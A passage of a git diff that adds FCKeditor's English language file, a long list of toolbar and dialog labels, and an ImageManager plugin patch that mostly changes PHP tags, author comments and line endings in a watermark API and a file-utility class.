lgDocMaTop|Increase|DlgLnkEMailSubject|Decrease|IeSpellDownload|Subject|Block|BlockJustify|RightJustify|CenterJustify|DlgLnkEMailBody|DlgDocLangDir|will|Through|Strike|StrikeThrough|Body|checker|DlgLnkUpload|FCKeditor|DlgLnkBtnUpload|installed|InsertSpecialChar|InsertSpecialCharLbl|DlgLnkTarget|InsertLine|DlgDocLangDirLTR|InsertTable|DlgAboutAboutTab|ToolbarExpand'.split('|'),0,{}))
+
diff --git a/fckeditor/editor/lang/en.js b/fckeditor/editor/lang/en.js
new file mode 100755 (executable)
index 0000000..457258c
--- /dev/null
@@ -0,0 +1,508 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: en.js
+ *     English language file.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir                                    : "ltr",
+
+ToolbarCollapse                : "Collapse Toolbar",
+ToolbarExpand          : "Expand Toolbar",
+
+// Toolbar Items and Context Menu
+Save                           : "Save",
+NewPage                                : "New Page",
+Preview                                : "Preview",
+Cut                                    : "Cut",
+Copy                           : "Copy",
+Paste                          : "Paste",
+PasteText                      : "Paste as plain text",
+PasteWord                      : "Paste from Word",
+Print                          : "Print",
+SelectAll                      : "Select All",
+RemoveFormat           : "Remove Format",
+InsertLinkLbl          : "Link",
+InsertLink                     : "Insert/Edit Link",
+RemoveLink                     : "Remove Link",
+Anchor                         : "Insert/Edit Anchor",
+InsertImageLbl         : "Image",
+InsertImage                    : "Insert/Edit Image",
+InsertFlashLbl         : "Flash",
+InsertFlash                    : "Insert/Edit Flash",
+InsertTableLbl         : "Table",
+InsertTable                    : "Insert/Edit Table",
+InsertLineLbl          : "Line",
+InsertLine                     : "Insert Horizontal Line",
+InsertSpecialCharLbl: "Special Character",
+InsertSpecialChar      : "Insert Special Character",
+InsertSmileyLbl                : "Smiley",
+InsertSmiley           : "Insert Smiley",
+About                          : "About FCKeditor",
+Bold                           : "Bold",
+Italic                         : "Italic",
+Underline                      : "Underline",
+StrikeThrough          : "Strike Through",
+Subscript                      : "Subscript",
+Superscript                    : "Superscript",
+LeftJustify                    : "Left Justify",
+CenterJustify          : "Center Justify",
+RightJustify           : "Right Justify",
+BlockJustify           : "Block Justify",
+DecreaseIndent         : "Decrease Indent",
+IncreaseIndent         : "Increase Indent",
+Undo                           : "Undo",
+Redo                           : "Redo",
+NumberedListLbl                : "Numbered List",
+NumberedList           : "Insert/Remove Numbered List",
+BulletedListLbl                : "Bulleted List",
+BulletedList           : "Insert/Remove Bulleted List",
+ShowTableBorders       : "Show Table Borders",
+ShowDetails                    : "Show Details",
+Style                          : "Style",
+FontFormat                     : "Format",
+Font                           : "Font",
+FontSize                       : "Size",
+TextColor                      : "Text Color",
+BGColor                                : "Background Color",
+Source                         : "Source",
+Find                           : "Find",
+Replace                                : "Replace",
+SpellCheck                     : "Check Spelling",
+UniversalKeyboard      : "Universal Keyboard",
+PageBreakLbl           : "Page Break",
+PageBreak                      : "Insert Page Break",
+
+Form                   : "Form",
+Checkbox               : "Checkbox",
+RadioButton            : "Radio Button",
+TextField              : "Text Field",
+Textarea               : "Textarea",
+HiddenField            : "Hidden Field",
+Button                 : "Button",
+SelectionField : "Selection Field",
+ImageButton            : "Image Button",
+
+FitWindow              : "Maximize the editor size",
+
+// Context Menu
+EditLink                       : "Edit Link",
+CellCM                         : "Cell",
+RowCM                          : "Row",
+ColumnCM                       : "Column",
+InsertRow                      : "Insert Row",
+DeleteRows                     : "Delete Rows",
+InsertColumn           : "Insert Column",
+DeleteColumns          : "Delete Columns",
+InsertCell                     : "Insert Cell",
+DeleteCells                    : "Delete Cells",
+MergeCells                     : "Merge Cells",
+SplitCell                      : "Split Cell",
+TableDelete                    : "Delete Table",
+CellProperties         : "Cell Properties",
+TableProperties                : "Table Properties",
+ImageProperties                : "Image Properties",
+FlashProperties                : "Flash Properties",
+
+AnchorProp                     : "Anchor Properties",
+ButtonProp                     : "Button Properties",
+CheckboxProp           : "Checkbox Properties",
+HiddenFieldProp                : "Hidden Field Properties",
+RadioButtonProp                : "Radio Button Properties",
+ImageButtonProp                : "Image Button Properties",
+TextFieldProp          : "Text Field Properties",
+SelectionFieldProp     : "Selection Field Properties",
+TextareaProp           : "Textarea Properties",
+FormProp                       : "Form Properties",
+
+FontFormats                    : "Normal;Formatted;Address;Heading 1;Heading 2;Heading 3;Heading 4;Heading 5;Heading 6;Normal (DIV)",          //REVIEW : Check _getfontformat.html
+
+// Alerts and Messages
+ProcessingXHTML                : "Processing XHTML. Please wait...",
+Done                           : "Done",
+PasteWordConfirm       : "The text you want to paste seems to be copied from Word. Do you want to clean it before pasting?",
+NotCompatiblePaste     : "This command is available for Internet Explorer version 5.5 or more. Do you want to paste without cleaning?",
+UnknownToolbarItem     : "Unknown toolbar item \"%1\"",
+UnknownCommand         : "Unknown command name \"%1\"",
+NotImplemented         : "Command not implemented",
+UnknownToolbarSet      : "Toolbar set \"%1\" doesn't exist",
+NoActiveX                      : "Your browser's security settings could limit some features of the editor. You must enable the option \"Run ActiveX controls and plug-ins\". You may experience errors and notice missing features.",
+BrowseServerBlocked : "The resources browser could not be opened. Make sure that all popup blockers are disabled.",
+DialogBlocked          : "It was not possible to open the dialog window. Make sure all popup blockers are disabled.",
+
+// Dialogs
+DlgBtnOK                       : "OK",
+DlgBtnCancel           : "Cancel",
+DlgBtnClose                    : "Close",
+DlgBtnBrowseServer     : "Browse Server",
+DlgAdvancedTag         : "Advanced",
+DlgOpOther                     : "<Other>",
+DlgInfoTab                     : "Info",
+DlgAlertUrl                    : "Please insert the URL",
+
+// General Dialogs Labels
+DlgGenNotSet           : "<not set>",
+DlgGenId                       : "Id",
+DlgGenLangDir          : "Language Direction",
+DlgGenLangDirLtr       : "Left to Right (LTR)",
+DlgGenLangDirRtl       : "Right to Left (RTL)",
+DlgGenLangCode         : "Language Code",
+DlgGenAccessKey                : "Access Key",
+DlgGenName                     : "Name",
+DlgGenTabIndex         : "Tab Index",
+DlgGenLongDescr                : "Long Description URL",
+DlgGenClass                    : "Stylesheet Classes",
+DlgGenTitle                    : "Advisory Title",
+DlgGenContType         : "Advisory Content Type",
+DlgGenLinkCharset      : "Linked Resource Charset",
+DlgGenStyle                    : "Style",
+
+// Image Dialog
+DlgImgTitle                    : "Image Properties",
+DlgImgInfoTab          : "Image Info",
+DlgImgBtnUpload                : "Send it to the Server",
+DlgImgURL                      : "URL",
+DlgImgUpload           : "Upload",
+DlgImgAlt                      : "Alternative Text",
+DlgImgWidth                    : "Width",
+DlgImgHeight           : "Height",
+DlgImgLockRatio                : "Lock Ratio",
+DlgBtnResetSize                : "Reset Size",
+DlgImgBorder           : "Border",
+DlgImgHSpace           : "HSpace",
+DlgImgVSpace           : "VSpace",
+DlgImgAlign                    : "Align",
+DlgImgAlignLeft                : "Left",
+DlgImgAlignAbsBottom: "Abs Bottom",
+DlgImgAlignAbsMiddle: "Abs Middle",
+DlgImgAlignBaseline    : "Baseline",
+DlgImgAlignBottom      : "Bottom",
+DlgImgAlignMiddle      : "Middle",
+DlgImgAlignRight       : "Right",
+DlgImgAlignTextTop     : "Text Top",
+DlgImgAlignTop         : "Top",
+DlgImgPreview          : "Preview",
+DlgImgAlertUrl         : "Please type the image URL",
+DlgImgLinkTab          : "Link",
+
+// Flash Dialog
+DlgFlashTitle          : "Flash Properties",
+DlgFlashChkPlay                : "Auto Play",
+DlgFlashChkLoop                : "Loop",
+DlgFlashChkMenu                : "Enable Flash Menu",
+DlgFlashScale          : "Scale",
+DlgFlashScaleAll       : "Show all",
+DlgFlashScaleNoBorder  : "No Border",
+DlgFlashScaleFit       : "Exact Fit",
+
+// Link Dialog
+DlgLnkWindowTitle      : "Link",
+DlgLnkInfoTab          : "Link Info",
+DlgLnkTargetTab                : "Target",
+
+DlgLnkType                     : "Link Type",
+DlgLnkTypeURL          : "URL",
+DlgLnkTypeAnchor       : "Link to anchor in the text",
+DlgLnkTypeEMail                : "E-Mail",
+DlgLnkProto                    : "Protocol",
+DlgLnkProtoOther       : "<other>",
+DlgLnkURL                      : "URL",
+DlgLnkAnchorSel                : "Select an Anchor",
+DlgLnkAnchorByName     : "By Anchor Name",
+DlgLnkAnchorById       : "By Element Id",
+DlgLnkNoAnchors                : "(No anchors available in the document)",             //REVIEW : Change < and > with ( and )
+DlgLnkEMail                    : "E-Mail Address",
+DlgLnkEMailSubject     : "Message Subject",
+DlgLnkEMailBody                : "Message Body",
+DlgLnkUpload           : "Upload",
+DlgLnkBtnUpload                : "Send it to the Server",
+
+DlgLnkTarget           : "Target",
+DlgLnkTargetFrame      : "<frame>",
+DlgLnkTargetPopup      : "<popup window>",
+DlgLnkTargetBlank      : "New Window (_blank)",
+DlgLnkTargetParent     : "Parent Window (_parent)",
+DlgLnkTargetSelf       : "Same Window (_self)",
+DlgLnkTargetTop                : "Topmost Window (_top)",
+DlgLnkTargetFrameName  : "Target Frame Name",
+DlgLnkPopWinName       : "Popup Window Name",
+DlgLnkPopWinFeat       : "Popup Window Features",
+DlgLnkPopResize                : "Resizable",
+DlgLnkPopLocation      : "Location Bar",
+DlgLnkPopMenu          : "Menu Bar",
+DlgLnkPopScroll                : "Scroll Bars",
+DlgLnkPopStatus                : "Status Bar",
+DlgLnkPopToolbar       : "Toolbar",
+DlgLnkPopFullScrn      : "Full Screen (IE)",
+DlgLnkPopDependent     : "Dependent (Netscape)",
+DlgLnkPopWidth         : "Width",
+DlgLnkPopHeight                : "Height",
+DlgLnkPopLeft          : "Left Position",
+DlgLnkPopTop           : "Top Position",
+
+DlnLnkMsgNoUrl         : "Please type the link URL",
+DlnLnkMsgNoEMail       : "Please type the e-mail address",
+DlnLnkMsgNoAnchor      : "Please select an anchor",
+DlnLnkMsgInvPopName    : "The popup name must begin with an alphabetic character and must not contain spaces",
+
+// Color Dialog
+DlgColorTitle          : "Select Color",
+DlgColorBtnClear       : "Clear",
+DlgColorHighlight      : "Highlight",
+DlgColorSelected       : "Selected",
+
+// Smiley Dialog
+DlgSmileyTitle         : "Insert a Smiley",
+
+// Special Character Dialog
+DlgSpecialCharTitle    : "Select Special Character",
+
+// Table Dialog
+DlgTableTitle          : "Table Properties",
+DlgTableRows           : "Rows",
+DlgTableColumns                : "Columns",
+DlgTableBorder         : "Border size",
+DlgTableAlign          : "Alignment",
+DlgTableAlignNotSet    : "<Not set>",
+DlgTableAlignLeft      : "Left",
+DlgTableAlignCenter    : "Center",
+DlgTableAlignRight     : "Right",
+DlgTableWidth          : "Width",
+DlgTableWidthPx                : "pixels",
+DlgTableWidthPc                : "percent",
+DlgTableHeight         : "Height",
+DlgTableCellSpace      : "Cell spacing",
+DlgTableCellPad                : "Cell padding",
+DlgTableCaption                : "Caption",
+DlgTableSummary                : "Summary",
+
+// Table Cell Dialog
+DlgCellTitle           : "Cell Properties",
+DlgCellWidth           : "Width",
+DlgCellWidthPx         : "pixels",
+DlgCellWidthPc         : "percent",
+DlgCellHeight          : "Height",
+DlgCellWordWrap                : "Word Wrap",
+DlgCellWordWrapNotSet  : "<Not set>",
+DlgCellWordWrapYes     : "Yes",
+DlgCellWordWrapNo      : "No",
+DlgCellHorAlign                : "Horizontal Alignment",
+DlgCellHorAlignNotSet  : "<Not set>",
+DlgCellHorAlignLeft    : "Left",
+DlgCellHorAlignCenter  : "Center",
+DlgCellHorAlignRight: "Right",
+DlgCellVerAlign                : "Vertical Alignment",
+DlgCellVerAlignNotSet  : "<Not set>",
+DlgCellVerAlignTop     : "Top",
+DlgCellVerAlignMiddle  : "Middle",
+DlgCellVerAlignBottom  : "Bottom",
+DlgCellVerAlignBaseline        : "Baseline",
+DlgCellRowSpan         : "Rows Span",
+DlgCellCollSpan                : "Columns Span",
+DlgCellBackColor       : "Background Color",
+DlgCellBorderColor     : "Border Color",
+DlgCellBtnSelect       : "Select...",
+
+// Find Dialog
+DlgFindTitle           : "Find",
+DlgFindFindBtn         : "Find",
+DlgFindNotFoundMsg     : "The specified text was not found.",
+
+// Replace Dialog
+DlgReplaceTitle                        : "Replace",
+DlgReplaceFindLbl              : "Find what:",
+DlgReplaceReplaceLbl   : "Replace with:",
+DlgReplaceCaseChk              : "Match case",
+DlgReplaceReplaceBtn   : "Replace",
+DlgReplaceReplAllBtn   : "Replace All",
+DlgReplaceWordChk              : "Match whole word",
+
+// Paste Operations / Dialog
+PasteErrorPaste        : "Your browser security settings don't permit the editor to automatically execute pasting operations. Please use the keyboard for that (Ctrl+V).",
+PasteErrorCut  : "Your browser security settings don't permit the editor to automatically execute cutting operations. Please use the keyboard for that (Ctrl+X).",
+PasteErrorCopy : "Your browser security settings don't permit the editor to automatically execute copying operations. Please use the keyboard for that (Ctrl+C).",
+
+PasteAsText            : "Paste as Plain Text",
+PasteFromWord  : "Paste from Word",
+
+DlgPasteMsg2   : "Please paste inside the following box using the keyboard (<strong>Ctrl+V</strong>) and hit <strong>OK</strong>.",
+DlgPasteIgnoreFont             : "Ignore Font Face definitions",
+DlgPasteRemoveStyles   : "Remove Styles definitions",
+DlgPasteCleanBox               : "Clean Up Box",
+
+// Color Picker
+ColorAutomatic : "Automatic",
+ColorMoreColors        : "More Colors...",
+
+// Document Properties
+DocProps               : "Document Properties",
+
+// Anchor Dialog
+DlgAnchorTitle         : "Anchor Properties",
+DlgAnchorName          : "Anchor Name",
+DlgAnchorErrorName     : "Please type the anchor name",
+
+// Speller Pages Dialog
+DlgSpellNotInDic               : "Not in dictionary",
+DlgSpellChangeTo               : "Change to",
+DlgSpellBtnIgnore              : "Ignore",
+DlgSpellBtnIgnoreAll   : "Ignore All",
+DlgSpellBtnReplace             : "Replace",
+DlgSpellBtnReplaceAll  : "Replace All",
+DlgSpellBtnUndo                        : "Undo",
+DlgSpellNoSuggestions  : "- No suggestions -",
+DlgSpellProgress               : "Spell check in progress...",
+DlgSpellNoMispell              : "Spell check complete: No misspellings found",
+DlgSpellNoChanges              : "Spell check complete: No words changed",
+DlgSpellOneChange              : "Spell check complete: One word changed",
+DlgSpellManyChanges            : "Spell check complete: %1 words changed",
+
+IeSpellDownload                        : "Spell checker not installed. Do you want to download it now?",
+
+// Button Dialog
+DlgButtonText          : "Text (Value)",
+DlgButtonType          : "Type",
+DlgButtonTypeBtn       : "Button",
+DlgButtonTypeSbm       : "Submit",
+DlgButtonTypeRst       : "Reset",
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName                : "Name",
+DlgCheckboxValue       : "Value",
+DlgCheckboxSelected    : "Selected",
+
+// Form Dialog
+DlgFormName            : "Name",
+DlgFormAction  : "Action",
+DlgFormMethod  : "Method",
+
+// Select Field Dialog
+DlgSelectName          : "Name",
+DlgSelectValue         : "Value",
+DlgSelectSize          : "Size",
+DlgSelectLines         : "lines",
+DlgSelectChkMulti      : "Allow multiple selections",
+DlgSelectOpAvail       : "Available Options",
+DlgSelectOpText                : "Text",
+DlgSelectOpValue       : "Value",
+DlgSelectBtnAdd                : "Add",
+DlgSelectBtnModify     : "Modify",
+DlgSelectBtnUp         : "Up",
+DlgSelectBtnDown       : "Down",
+DlgSelectBtnSetValue : "Set as selected value",
+DlgSelectBtnDelete     : "Delete",
+
+// Textarea Dialog
+DlgTextareaName        : "Name",
+DlgTextareaCols        : "Columns",
+DlgTextareaRows        : "Rows",
+
+// Text Field Dialog
+DlgTextName                    : "Name",
+DlgTextValue           : "Value",
+DlgTextCharWidth       : "Character Width",
+DlgTextMaxChars                : "Maximum Characters",
+DlgTextType                    : "Type",
+DlgTextTypeText                : "Text",
+DlgTextTypePass                : "Password",
+
+// Hidden Field Dialog
+DlgHiddenName  : "Name",
+DlgHiddenValue : "Value",
+
+// Bulleted List Dialog
+BulletedListProp       : "Bulleted List Properties",
+NumberedListProp       : "Numbered List Properties",
+DlgLstStart                    : "Start",
+DlgLstType                     : "Type",
+DlgLstTypeCircle       : "Circle",
+DlgLstTypeDisc         : "Disc",
+DlgLstTypeSquare       : "Square",
+DlgLstTypeNumbers      : "Numbers (1, 2, 3)",
+DlgLstTypeLCase                : "Lowercase Letters (a, b, c)",
+DlgLstTypeUCase                : "Uppercase Letters (A, B, C)",
+DlgLstTypeSRoman       : "Small Roman Numerals (i, ii, iii)",
+DlgLstTypeLRoman       : "Large Roman Numerals (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab       : "General",
+DlgDocBackTab          : "Background",
+DlgDocColorsTab                : "Colors and Margins",
+DlgDocMetaTab          : "Meta Data",
+
+DlgDocPageTitle                : "Page Title",
+DlgDocLangDir          : "Language Direction",
+DlgDocLangDirLTR       : "Left to Right (LTR)",
+DlgDocLangDirRTL       : "Right to Left (RTL)",
+DlgDocLangCode         : "Language Code",
+DlgDocCharSet          : "Character Set Encoding",
+DlgDocCharSetCE                : "Central European",
+DlgDocCharSetCT                : "Chinese Traditional (Big5)",
+DlgDocCharSetCR                : "Cyrillic",
+DlgDocCharSetGR                : "Greek",
+DlgDocCharSetJP                : "Japanese",
+DlgDocCharSetKR                : "Korean",
+DlgDocCharSetTR                : "Turkish",
+DlgDocCharSetUN                : "Unicode (UTF-8)",
+DlgDocCharSetWE                : "Western European",
+DlgDocCharSetOther     : "Other Character Set Encoding",
+
+DlgDocDocType          : "Document Type Heading",
+DlgDocDocTypeOther     : "Other Document Type Heading",
+DlgDocIncXHTML         : "Include XHTML Declarations",
+DlgDocBgColor          : "Background Color",
+DlgDocBgImage          : "Background Image URL",
+DlgDocBgNoScroll       : "Nonscrolling Background",
+DlgDocCText                    : "Text",
+DlgDocCLink                    : "Link",
+DlgDocCVisited         : "Visited Link",
+DlgDocCActive          : "Active Link",
+DlgDocMargins          : "Page Margins",
+DlgDocMaTop                    : "Top",
+DlgDocMaLeft           : "Left",
+DlgDocMaRight          : "Right",
+DlgDocMaBottom         : "Bottom",
+DlgDocMeIndex          : "Document Indexing Keywords (comma separated)",
+DlgDocMeDescr          : "Document Description",
+DlgDocMeAuthor         : "Author",
+DlgDocMeCopy           : "Copyright",
+DlgDocPreview          : "Preview",
+
+// Templates Dialog
+Templates                      : "Templates",
+DlgTemplatesTitle      : "Content Templates",
+DlgTemplatesSelMsg     : "Please select the template to open in the editor<br />(the actual contents will be lost):",
+DlgTemplatesLoading    : "Loading templates list. Please wait...",
+DlgTemplatesNoTpl      : "(No templates defined)",
+DlgTemplatesReplace    : "Replace actual contents",
+
+// About Dialog
+DlgAboutAboutTab       : "About",
+DlgAboutBrowserInfoTab : "Browser Info",
+DlgAboutLicenseTab     : "License",
+DlgAboutVersion                : "version",
+DlgAboutInfo           : "For further information go to"
+};
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/20062020_20061221.diff b/fckeditor/editor/plugins/ImageManager/20062020_20061221.diff
new file mode 100755 (executable)
index 0000000..95c174d
--- /dev/null
@@ -0,0 +1,1692 @@
+diff -u -r /ImageManager_20062020/assets/editorFrame.js ./assets/editorFrame.js
+--- /ImageManager_20062020/assets/editorFrame.js       2006-06-20 22:17:36.000000000 +0200
++++ ./assets/editorFrame.js    2006-12-17 13:36:35.000000000 +0100
+@@ -1,8 +1,8 @@
+ /**
+  * Javascript used by the editorFrame.php, it basically initializes the frame.
+- * @author $Author: matrix $
+- * @author $Author: matrix $ - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
++ * @author $Author: matrix $
++ * @author $Author: matrix $ - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+  * @package ImageManager
+  */
+diff -u -r /ImageManager_20062020/Classes/api.watermark.php ./Classes/api.watermark.php
+--- /ImageManager_20062020/Classes/api.watermark.php   2006-06-20 22:17:34.000000000 +0200
++++ ./Classes/api.watermark.php        2006-12-16 22:38:13.000000000 +0100
+@@ -1,8 +1,9 @@
+-<?
++<?php
+ /**
+  * Watermarking API
+- * @author $Author: matrix $ http://boynamedbri.com/  -  http://portfolio.boynamedbri.com/ -  @ devshed http://www.devshed.com/c/a/PHP/Dynamic-Watermarking-with-PHP/
+- * @author $Author: matrix $ - small changes to place the watermark on a given coordinate and to only handle watermark area
++ * @author Brian Vaughn http://boynamedbri.com/  -  http://portfolio.boynamedbri.com/ -  @ devshed http://www.devshed.com/c/a/PHP/Dynamic-Watermarking-with-PHP/
++ * @author Paul Moers <mail@saulmade.nl> - small changes to place the watermark on a given coordinate and to only handle watermark area
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+  * @package ImageManager
+  */
+@@ -100,4 +101,4 @@
+       } # EBD _get_image_color()
+ } # END watermark API
+-?>
+\ Pas de fin de ligne à la fin du fichier.
++?>
+
+diff -u -r /ImageManager_20062020/Classes/Files.php ./Classes/Files.php
+--- /ImageManager_20062020/Classes/Files.php   2006-06-20 22:17:34.000000000 +0200
++++ ./Classes/Files.php        2006-12-16 22:38:13.000000000 +0100
+@@ -1,215 +1,215 @@
+-<?
++<?php
+ /**
+  * File Utilities.
+- * @author $Author: matrix $
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+  * @package ImageManager
+  */
+-define('FILE_ERROR_NO_SOURCE', 100);
+-define('FILE_ERROR_COPY_FAILED', 101);
+-define('FILE_ERROR_DST_DIR_FAILED', 102);
+-define('FILE_COPY_OK', 103);
++define('FILE_ERROR_NO_SOURCE', 100);
++define('FILE_ERROR_COPY_FAILED', 101);
++define('FILE_ERROR_DST_DIR_FAILED', 102);
++define('FILE_COPY_OK', 103);
+ /**
+  * File Utilities
+- * @author $Author: matrix $
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+  * @package ImageManager
+  * @subpackage files
+  */
+-class Files 
+-{
+-      
+-      /**
+-       * Copy a file from source to destination. If unique == true, then if
+-       * the destination exists, it will be renamed by appending an increamenting 
+-       * counting number.
+-       * @param string $source where the file is from, full path to the files required
+-       * @param string $destination_file name of the new file, just the filename
+-       * @param string $destination_dir where the files, just the destination dir,
+-       * e.g., /www/html/gallery/
+-       * @param boolean $unique create unique destination file if true.
+-       * @return string the new copied filename, else error if anything goes bad.
+-       */
+-      function copyFile($source, $destination_dir, $destination_file, $unique=true) 
+-      {
+-              if(!(file_exists($source) && is_file($source))) 
+-                      return FILE_ERROR_NO_SOURCE;
+-
+-              $destination_dir = Files::fixPath($destination_dir);
+-
+-              if(!is_dir($destination_dir)) 
+-                      Return FILE_ERROR_DST_DIR_FAILED;
+-
+-              $filename = Files::escape($destination_file);
+-
+-              if($unique) 
+-              {
+-                      $dotIndex = strrpos($destination_file, '.');
+-                      $ext = '';
+-                      if(is_int($dotIndex)) 
+-                      {
+-                              $ext = substr($destination_file, $dotIndex);
+-                              $base = substr($destination_file, 0, $dotIndex);
+-                      }
+-                      $counter = 0;
+-                      while(is_file($destination_dir.$filename)) 
+-                      {
+-                              $counter++;
+-                              $filename = $base.'_'.$counter.$ext;
+-                      }
+-              }
+-
+-              if (!copy($source, $destination_dir.$filename))
+-                      return FILE_ERROR_COPY_FAILED;
+-              
+-              //verify that it copied, new file must exists
+-              if (is_file($destination_dir.$filename))
+-                      Return $filename;
+-              else
+-                      return FILE_ERROR_COPY_FAILED;
+-      }
+-
+-      /**
+-       * Create a new folder.
+-       * @param string $newFolder specifiy the full path of the new folder.
+-       * @return boolean true if the new folder is created, false otherwise.
+-       */
+-      function createFolder($newFolder) 
+-      {
+-              mkdir ($newFolder, 0777);
+-              return chmod($newFolder, 0777);
+-      }
+-
+-
+-      /**
+-       * Escape the filenames, any non-word characters will be
+-       * replaced by an underscore.
+-       * @param string $filename the orginal filename
+-       * @return string the escaped safe filename
+-       */
+-      function escape($filename) 
+-      {
+-              Return preg_replace('/[^\w\._]/', '_', $filename);
+-      }
+-
+-      /**
+-       * Delete a file.
+-       * @param string $file file to be deleted
+-       * @return boolean true if deleted, false otherwise.
+-       */
+-      function delFile($file) 
+-      {
+-              if(is_file($file)) 
+-                      Return unlink($file);
+-              else
+-                      Return false;
+-      }
+-
+-      /**
+-       * Delete folder(s), can delete recursively.
+-       * @param string $folder the folder to be deleted.
+-       * @param boolean $recursive if true, all files and sub-directories
+-       * are delete. If false, tries to delete the folder, can throw
+-       * error if the directory is not empty.
+-       * @return boolean true if deleted.
+-       */
+-      function delFolder($folder, $recursive=false) 
+-      {
+-              $deleted = true;
+-              if($recursive) 
+-              {
+-                      $d = dir($folder);
+-                      while (false !== ($entry = $d->read())) 
+-                      {
+-                              if ($entry != '.' && $entry != '..')
+-                              {
+-                                      $obj = Files::fixPath($folder).$entry;
+-                                      //var_dump($obj);
+-                                      if (is_file($obj))
+-                                      {
+-                                              $deleted &= Files::delFile($obj);                                       
+-                                      }
+-                                      else if(is_dir($obj))
+-                                      {
+-                                              $deleted &= Files::delFolder($obj, $recursive);
+-                                      }
+-                                      
+-                              }
+-                      }
+-                      $d->close();
+-
+-              }
+-
+-              //$folder= $folder.'/thumbs';
+-              //var_dump($folder);
+-              if(is_dir($folder)) 
+-                      $deleted &= rmdir($folder);
+-              else
+-                      $deleted &= false;
+-
+-              Return $deleted;
+-      }
+-
+-      /**
+-       * Append a / to the path if required.
+-       * @param string $path the path
+-       * @return string path with trailing /
+-       */
+-      function fixPath($path) 
+-      {
+-              //append a slash to the path if it doesn't exists.
+-              if(!(substr($path,-1) == '/'))
+-                      $path .= '/';
+-              Return $path;
+-      }
+-
+-      /**
+-       * Concat two paths together. Basically $pathA+$pathB
+-       * @param string $pathA path one
+-       * @param string $pathB path two
+-       * @return string a trailing slash combinded path.
+-       */
+-      function makePath($pathA, $pathB) 
+-      {
+-              $pathA = Files::fixPath($pathA);
+-              if(substr($pathB,0,1)=='/')
+-                      $pathB = substr($pathB,1);
+-              Return Files::fixPath($pathA.$pathB);
+-      }
+-
+-      /**
+-       * Similar to makePath, but the second parameter
+-       * is not only a path, it may contain say a file ending.
+-       * @param string $pathA the leading path
+-       * @param string $pathB the ending path with file
+-       * @return string combined file path.
+-       */
+-      function makeFile($pathA, $pathB) 
+-      {               
+-              $pathA = Files::fixPath($pathA);
+-              if(substr($pathB,0,1)=='/')
+-                      $pathB = substr($pathB,1);
+-              
+-              Return $pathA.$pathB;
+-      }
+-
+-      
+-      /**
+-       * Format the file size, limits to Mb.
+-       * @param int $size the raw filesize
+-       * @return string formated file size.
+-       */
+-      function formatSize($size) 
+-      {
+-              if($size < 1024) 
+-                      return $size.' bytes';  
+-              else if($size >= 1024 && $size < 1024*1024) 
+-                      return sprintf('%01.2f',$size/1024.0).' Kb';    
+-              else
+-                      return sprintf('%01.2f',$size/(1024.0*1024)).' Mb';     
++class Files 
++{
++      
++      /**
++       * Copy a file from source to destination. If unique == true, then if
++       * the destination exists, it will be renamed by appending an increamenting 
++       * counting number.
++       * @param string $source where the file is from, full path to the files required
++       * @param string $destination_file name of the new file, just the filename
++       * @param string $destination_dir where the files, just the destination dir,
++       * e.g., /www/html/gallery/
++       * @param boolean $unique create unique destination file if true.
++       * @return string the new copied filename, else error if anything goes bad.
++       */
++      function copyFile($source, $destination_dir, $destination_file, $unique=true) 
++      {
++              if(!(file_exists($source) && is_file($source))) 
++                      return FILE_ERROR_NO_SOURCE;
++
++              $destination_dir = Files::fixPath($destination_dir);
++
++              if(!is_dir($destination_dir)) 
++                      Return FILE_ERROR_DST_DIR_FAILED;
++
++              $filename = Files::escape($destination_file);
++
++              if($unique) 
++              {
++                      $dotIndex = strrpos($destination_file, '.');
++                      $ext = '';
++                      if(is_int($dotIndex)) 
++                      {
++                              $ext = substr($destination_file, $dotIndex);
++                              $base = substr($destination_file, 0, $dotIndex);
++                      }
++                      $counter = 0;
++                      while(is_file($destination_dir.$filename)) 
++                      {
++                              $counter++;
++                              $filename = $base.'_'.$counter.$ext;
++                      }
++              }
++
++              if (!copy($source, $destination_dir.$filename))
++                      return FILE_ERROR_COPY_FAILED;
++              
++              //verify that it copied, new file must exists
++              if (is_file($destination_dir.$filename))
++                      Return $filename;
++              else
++                      return FILE_ERROR_COPY_FAILED;
++      }
++
++      /**
++       * Create a new folder.
++       * @param string $newFolder specifiy the full path of the new folder.
++       * @return boolean true if the new folder is created, false otherwise.
++       */
++      function createFolder($newFolder) 
++      {
++              mkdir ($newFolder, 0777);
++              return chmod($newFolder, 0777);
++      }
++
++
++      /**
++       * Escape the filenames, any non-word characters will be
++       * replaced by an underscore.
++       * @param string $filename the orginal filename
++       * @return string the escaped safe filename
++       */
++      function escape($filename) 
++      {
++              Return preg_replace('/[^\w\._]/', '_', $filename);
++      }
++
++      /**
++       * Delete a file.
++       * @param string $file file to be deleted
